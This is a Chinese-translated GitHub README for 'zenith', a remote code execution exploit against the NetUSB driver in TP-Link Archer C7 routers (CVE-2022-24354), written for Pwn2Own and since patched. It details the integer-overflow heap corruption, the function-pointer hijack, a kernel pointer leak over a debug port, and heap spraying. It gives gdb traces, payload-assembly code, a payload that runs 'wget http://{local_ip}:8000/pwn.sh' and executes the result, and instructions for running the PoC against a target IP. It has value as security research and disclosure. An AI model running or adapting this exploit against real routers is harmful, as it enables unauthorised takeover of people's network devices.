0vercl0k/zenith
GitHub: 0vercl0k/zenith
针对 TP-Link Archer C7 路由器 NetUSB 驱动整数溢出漏洞的远程代码执行利用程序
Stars: 132 | Forks: 25
# Zenith:Pwn2Own TP-Link AC1750 Smart Wi-Fi 路由器远程代码执行漏洞
Zenith 是我编写的一个漏洞利用程序,用于攻击 [TP-Link AC1750 Smart Wi-Fi Router](https://www.tp-link.com/us/home-networking/wifi-router/archer-c7/),该路由器属于 [Pwn2Own Austin 2021](https://www.zerodayinitiative.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more) 竞赛中 **Routers** / **LAN** 类别的目标。
它利用了一个整数溢出漏洞,该漏洞导致 [KCodes](https://www.kcodes.com/product/1/36) 公司开发的 NetUSB 驱动程序中 `kmalloc-128` slab cache 发生堆缓冲区溢出。该驱动程序监听 `br-lan` 接口上的 TCP 端口 20005 并解析攻击者控制的数据。该漏洞已在 2021 年 8 月 20 日发布的 [Archer C7(US)_V5_210519](https://static.tp-link.com/upload/firmware/2021/202108/20210820/Archer%20C7(US)_V5_210519.zip) 固件上进行了测试(您可以在 TP-Link 的固件镜像中找到 `NetUSB.ko`)。

该漏洞已由 [TP-Link 于 2022 年 1 月修复](https://www.tp-link.com/us/support/download/archer-c7/#Firmware),并被分配了 [CVE-2022-24354](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24354) / [ZDI-22-264](https://www.zerodayinitiative.com/advisories/ZDI-22-264/)。


## 问题概述
我可能会尝试在 [doar-e.github.io](https://doar-e.github.io/) 上的下一篇文章中详细记录该漏洞以及我是如何利用它的,敬请期待!
该漏洞位于 *SoftwareBus_dispatchNormalEPMsgOut* 函数中,代码片段如下:
```
void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode)
{
// ...
switch (OpcodeMasked) {
case 0x50:
if (SoftwareBus_fillBuf(SbusConnection, ReceiveBuffer, 4)) {
ReceivedSize = _bswapw(*(uint32_t*)ReceiveBuffer);
AllocatedBuffer = _kmalloc(ReceivedSize + 17, 208); // <--- ReceivedSize is a 32-bit integer, the computation can overflow
if (!AllocatedBuffer) {
return kc_printf("INFO%04X: Out of memory in USBSoftwareBus", 4296);
}
[...]
if (!SoftwareBus_fillBuf(SbusConnection, AllocatedBuffer + 16, ReceivedSize)) // <---- This is basically a `recv()` which leads to an overflow of the `AllocatedBuffer`
```
该漏洞利用程序通过以下调用链到达此函数:
```
-> tcpConnector (@0x10AAC)
-> run_init_sbus (@0xCA78)
-> initUsbSoftwareBus (@0xC700)
-> ThreadHandleSbusConnection (@0xC5F4)
-> SoftwareBus_dispatchNormalEPMsgOut (@0xADF0)
```
为了利用该漏洞,Zenith 溢出了 Linux 内核 socket 栈放置的相邻 `wait_queue_head_t.head.next` 结构,将其替换为受我们控制的精心构造的 `wait_queue_entry_t` 地址(漏洞利用代码中的 `Trasher` 类)。
```
struct wait_queue_head {
spinlock_t lock;
struct list_head head;
};
struct wait_queue_entry {
unsigned int flags;
void *private;
wait_queue_func_t func;
struct list_head entry;
};
```
该结构包含一个函数指针,我利用它劫持执行流并将其重定向到一个固定位置,该位置位于我之前暂存 payload 的大型内核堆块中。调用该函数指针的函数是 `__wake_up_common`,如下所示:
```
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
if (curr->func(curr, mode, wake_flags, key) &&
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
```
以下是在 gdb 中 `q->head.next/prev` 被破坏后的样子:
```
(gdb) break *__wake_up_common+0x30 if ($v0 & 0xffffff00) == 0xdeadbe00
(gdb) break sock_recvmsg if msg->msg_iov[0].iov_len == 0xffffffff
(gdb) c
Continuing.
sock_recvmsg(dst=0xffffffff85173390)
Breakpoint 2, __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
at kernel/sched/core.c:3375
3375 kernel/sched/core.c: No such file or directory.
(gdb) p *q
$1 = {lock = {{rlock = {raw_lock = {}}}}, task_list = {next = 0xdeadbee1,
prev = 0xbaadc0d1}}
(gdb) bt
#0 __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
at kernel/sched/core.c:3375
#1 0x80141ea8 in __wake_up_sync_key (q=, mode=,
nr_exclusive=, key=) at kernel/sched/core.c:3450
#2 0x8045d2d4 in tcp_prequeue (skb=0x87eb4e40, sk=0x851e5f80) at include/net/tcp.h:964
#3 tcp_v4_rcv (skb=0x87eb4e40) at net/ipv4/tcp_ipv4.c:1736
#4 0x8043ae14 in ip_local_deliver_finish (skb=0x87eb4e40) at net/ipv4/ip_input.c:226
#5 0x8040d640 in __netif_receive_skb (skb=0x87eb4e40) at net/core/dev.c:3341
#6 0x803c50c8 in pcnet32_rx_entry (entry=, rxp=0xa0c04060, lp=0x87d08c00,
dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1199
#7 pcnet32_rx (budget=16, dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1212
#8 pcnet32_poll (napi=0x87d08c5c, budget=16) at drivers/net/ethernet/amd/pcnet32.c:1324
#9 0x8040dab0 in net_rx_action (h=) at net/core/dev.c:3944
#10 0x801244ec in __do_softirq () at kernel/softirq.c:244
#11 0x80124708 in do_softirq () at kernel/softirq.c:293
#12 do_softirq () at kernel/softirq.c:280
#13 0x80124948 in invoke_softirq () at kernel/softirq.c:337
#14 irq_exit () at kernel/softirq.c:356
#15 0x8010198c in ret_from_exception () at arch/mips/kernel/entry.S:34
```
所有这些都是可能的,因为内核没有 ALSR,并且堆是可写/可执行的(没有 NX)。
Zenith 还利用了 NetUSB 的调试接口,这是监听端口 33344 的另一个 socket。它基本上通过此 socket 发送 `printk` 字符串,并泄漏各种分配的内核模式指针,我们能够在这些位置放置受控数据。这由漏洞利用代码中的 `Leaker` 类使用。
Zenith 还使用非常基本的堆喷射(spraying)原语来填充空洞,从而对 `kmalloc128` slab cache 进行碎片整理。
最后,执行的 payload 位于 [src/sh.remote.asm](src/sh.remote.asm) 中,它基本上执行 `/bin/sh -c "wget http://{local_ip}:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh"`。
## 运行漏洞利用程序
### 设置环境
要安装依赖项,请在 Ubuntu 20.04 机器上运行以下命令:
- `$ sudo apt install binutils-mips-linux-gnu binutils python3-pip`
- `$ pip3 install pycrypto`
binutils 被漏洞利用程序用于在运行时生成 payload,因为它需要包含漏洞利用程序访问的 HTTP 服务器的 IP 地址(参见 `prepare_payload`)。
```
def prepare_payload(name, ip_local):
'''Read the payload pattern, assemble it and dump the assembled bytes.'''
# Replace the local ip address in the payload
r = open(name, 'r').read()
tmp_payload = 'tmp.asm'
with open(tmp_payload, 'w') as f:
f.write(r.format(ip_local = ip_local))
# Compile the payload
os.system(f'mips-linux-gnu-as -march=mips32r2 {tmp_payload} -o sh.o')
os.system(f'mips-linux-gnu-ld --omagic --section-start=.text={hex(addr_payload)} sh.o -o sh')
# Dump the payload
os.system('readelf -x .text sh > payload.txt')
# Read the payload
payload = read_payload('payload.txt',)
# Clean-up the payload
os.system(f'rm sh.o sh {tmp_payload} payload.txt')
# Fix ip in pwn.sh.
os.system(f'rm pwn.sh')
r = open('pwn_base.sh', 'r').read()
with open('pwn.sh', 'w') as f:
f.write(r.format(ip_local = ip_local))
return payload
```
### 我是否有漏洞?
要验证您的路由器是否有漏洞,建议运行 [src/zenith-poc.py](src/zenith-poc.py)。
```
$ python3 zenith-poc.py --target 192.168.127.1
```
如果您的设备有漏洞,脚本完成后指示灯应保持亮起几秒钟,然后熄灭,路由器应自动重启。请注意,这可能不太容易察觉 :)
标签:CISA项目, CVE-2022-24354, IoT安全, KCodes, Linux内核驱动, NetUSB, Pwn2Own, RCE, TP-Link Archer C7, Web报告查看器, 二进制利用, 云资产清单, 内存损坏, 堆溢出, 嵌入式安全, 整数溢出, 缓冲区溢出, 编程工具, 网络安全, 路由器安全, 远程代码执行, 逆向工具, 逆向工程, 隐私保护, 零日漏洞